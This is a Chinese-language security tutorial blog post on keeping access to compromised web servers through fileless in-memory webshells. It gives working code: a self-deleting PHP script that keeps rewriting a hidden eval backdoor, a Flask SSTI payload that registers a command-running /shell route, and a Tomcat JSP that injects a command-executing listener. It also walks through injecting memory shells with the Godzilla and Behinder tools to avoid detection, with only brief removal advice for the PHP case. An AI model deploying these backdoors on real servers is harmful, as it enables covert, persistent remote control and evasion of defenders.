第146天:内网安全-Web权限维持&各语言内存马&Servlet-api类&Spring类&Agent类

目录

前置知识及资源

[案例一: 权限维持-Web-内存马-PHP](#案例一: 权限维持-Web-内存马-PHP)

[案例二: 权限维持-Web-内存马-Python](#案例二: 权限维持-Web-内存马-Python)

[案例三: 权限维持-Web-内存马-JAVA](#案例三: 权限维持-Web-内存马-JAVA)

[案例四: 权限维持-Web-内存马-哥斯拉&冰蝎](#案例四: 权限维持-Web-内存马-哥斯拉&冰蝎)

哥斯拉

​编辑

冰蝎


前置知识及资源

什么是内存马?

Webshell 内存马,是在内存中写入恶意后门和木马并执行,达到远程控制 Web 服务器
的一类内存马,其瞄准了企业的对外窗口:网站、应用。但传统的 Webshell 都是基于
文件类型的,黑客可以利用上传工具或网站漏洞植入木马,区别在于 Webshell 内存马
是无文件马,利用中间件的进程执行某些恶意代码,不会有文件落地,给检测带来巨大难
度。

本文涉及到的代码下载地址

链接: https://pan.baidu.com/s/1znRj_L9MN69DrsOV6cQHgQ?pwd=x8i8 提取码: x8i8

案例一: 权限维持-Web-内存马-PHP

php内存马代码

php 复制代码
<?php
    ignore_user_abort(true);
    set_time_limit(0);
    @unlink(__FILE__);
    $file = '.HH.php';
    $code = '<?php @eval($_POST[\'c\']); ?>';
    while (1){
       file_put_contents($file,$code);
       usleep(5000);
    }
?>

这段代码中各部分的含义

ignore_user_abort(true); ##代表该代码只要运行了就不会断开、

set_time_limit(0); ##该代码运行的时间,设置为0就是一致运行

@unlink(FILE); ##删除文件

while (1){

file_put_contents(file,code); ## 死循环创建文件并且写入

usleep(5000); ##延时

}

创建文件并且查看

然后访问http://ip/,这里会卡住,把之前创建的index文件会被删除,后面的页面是我访问的缓存,同时会产生一个.HH.php文件,这个文件是linux的隐藏文件,但是不知为何,我linux搭建的访问不了,只能这样演示。

.HH.php里面是一句话木马

在我去删除的时候,他又会立刻去创建出来,甚至在我鼠标右键的时候因为这个文件不断地创建,右键页面也不能打开,从时间也可以看出来这个文件,在一直的刷新

如何查杀

  1. 因为写在了内存中,所以直接重启

  2. 可以写一个条件竞争的代码,也是一直执行,刚创建就对其进行删除

案例二: 权限维持-Web-内存马-Python

漏洞代码,这段代码中有ssti注入漏洞

python 复制代码
from flask import Flask,request
from flask import render_template_string
app = Flask(__name__)

@app.route('/')
def hello_world():
    return 'Hello World'


@app.route('/test',methods=['GET', 'POST'])
def test():
    template = '''
        <div class="center-content error">
            <h1>Oops! That page doesn't exist.</h1>
            <h3>%s</h3>
        </div> 
    ''' %(request.values.get('param'))

    return render_template_string(template)


if __name__ == '__main__':
    app.run(port=8000)   

render_template_string函数会渲染字符串,而字符串中有用户能控制输入的参数param,就造成了命令执行的危害

创建代码,并执行

生成内存马,利用的时候只需要修改对应test的模块以及对应param的参数

python 复制代码
http://127.0.0.1:8000/test?param={{url_for.__globals__[%27__builtins__%27][%27eval%27](%22app.add_url_rule(%27/shell%27,%20%27shell%27,%20lambda%20:__import__(%27os%27).popen(_request_ctx_stack.top.request.args.get(%27cmd%27,%20%27whoami%27)).read())%22,{%27_request_ctx_stack%27:url_for.__globals__[%27_request_ctx_stack%27],%27app%27:url_for.__globals__[%27current_app%27]})}}

然后访问

shell?cmd=命令

但是创建文件的地方并没有shell的影子文件也没有修改

参考文章:Python 内存马分析 - 先知社区

案例三: 权限维持-Web-内存马-JAVA

环境搭建

选择tomcat目录,导入程序的war包

导入jdk

shift+f10进行启动

java有三大组件,listener-->filter-->servlet,这里的原理就是把木马写入组件内存中

监听器

漏洞代码是一个文件上传页面

listener-内存马

java 复制代码
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%
    Object obj = request.getServletContext();
    java.lang.reflect.Field field = obj.getClass().getDeclaredField("context");
    field.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) field.get(obj);
    //获取ApplicationContext
    field = applicationContext.getClass().getDeclaredField("context");
    field.setAccessible(true);
    StandardContext standardContext = (StandardContext) field.get(applicationContext);
    //获取StandardContext
    ListenerDemo listenerdemo = new ListenerDemo();
    //创建能够执行命令的Listener
    standardContext.addApplicationEventListener(listenerdemo);
%>
<%!
    public class ListenerDemo implements ServletRequestListener {
        public void requestDestroyed(ServletRequestEvent sre) {
            System.out.println("requestDestroyed");
        }
        public void requestInitialized(ServletRequestEvent sre) {
            System.out.println("requestInitialized");
            try{
                String cmd = sre.getServletRequest().getParameter("cmd");
                Runtime.getRuntime().exec(cmd);
            }catch (Exception e ){
                //e.printStackTrace();
            }
        }
    }
%>

上传

访问页面,虽然是空白

但是现在已经可以在后面跟命令执行了

甚至随便访问一个不存在的目录

目录中也并没有一点,木马的影子

甚至把这个文件删除掉仍然还能够运行

重启代码失效

过滤器和伺服器,利用和前面一摸一样的,不再复现

案例四: 权限维持-Web-内存马-哥斯拉&冰蝎

实战过程中由于中间件不同,可能有tomcat,weblogic等等就会出现不同种类的内存马,甚至有类似spring框架开发,就导致不能通用,所以现在要演示通过哥斯拉&冰蝎复现

哥斯拉

生成木马

上传

建立连接

生成内存马

生成之后会发现目录下不会有这个文件

利用内存马建立连接的时候,要注意他会把这个文件默认上传到网站根目录下,并且密码默认的是password而不是pass

利用内存马建立的连接

冰蝎

冰蝎在使用的过程中呢,会出现很多bug,个人觉得没有哥斯拉好用

上传木马进行连接,冰蝎的木马不用生成,目录里面就有

右键目标连接,进行内存马的注入

到这里创建不了内存马了,这个版本不可以选择filter

后面换成了小迪视频里面的冰蝎版本,视频中问题是木马不能再Upload目录下,这里我试了也不行,所以这个还是有很多的bug的

创建的时候是创建在网站根目录,访问也是利用根目录访问

成功连接,并且目录没有123文件

至此内网学习暂时告一段落,后面的vpc项目1和2已经下线,vpc4太大了,vpc3后可能做一下,希望你也能看到这里^_^

相关推荐
代码改变世界ctw36 分钟前
如何学习Trustzone
安全·trustzone·atf·optee·tee·armv8·armv9
WTT00113 小时前
2024楚慧杯WP
大数据·运维·网络·安全·web安全·ctf
群联云防护小杜6 小时前
如何给负载均衡平台做好安全防御
运维·服务器·网络·网络协议·安全·负载均衡
ihengshuai6 小时前
HTTP协议及安全防范
网络协议·安全·http
黑客Jack7 小时前
防御 XSS 的七条原则
安全·web安全·xss
云云3218 小时前
怎么通过亚矩阵云手机实现营销?
大数据·服务器·安全·智能手机·矩阵
神一样的老师8 小时前
面向高精度网络的时间同步安全管理架构
网络·安全·架构
云云32110 小时前
云手机方案全解析
大数据·服务器·安全·智能手机·矩阵
云云32111 小时前
云手机能用来干什么?云手机在跨境电商领域的用途
服务器·线性代数·安全·智能手机·矩阵
云云32111 小时前
云手机方案总结
服务器·线性代数·安全·智能手机·矩阵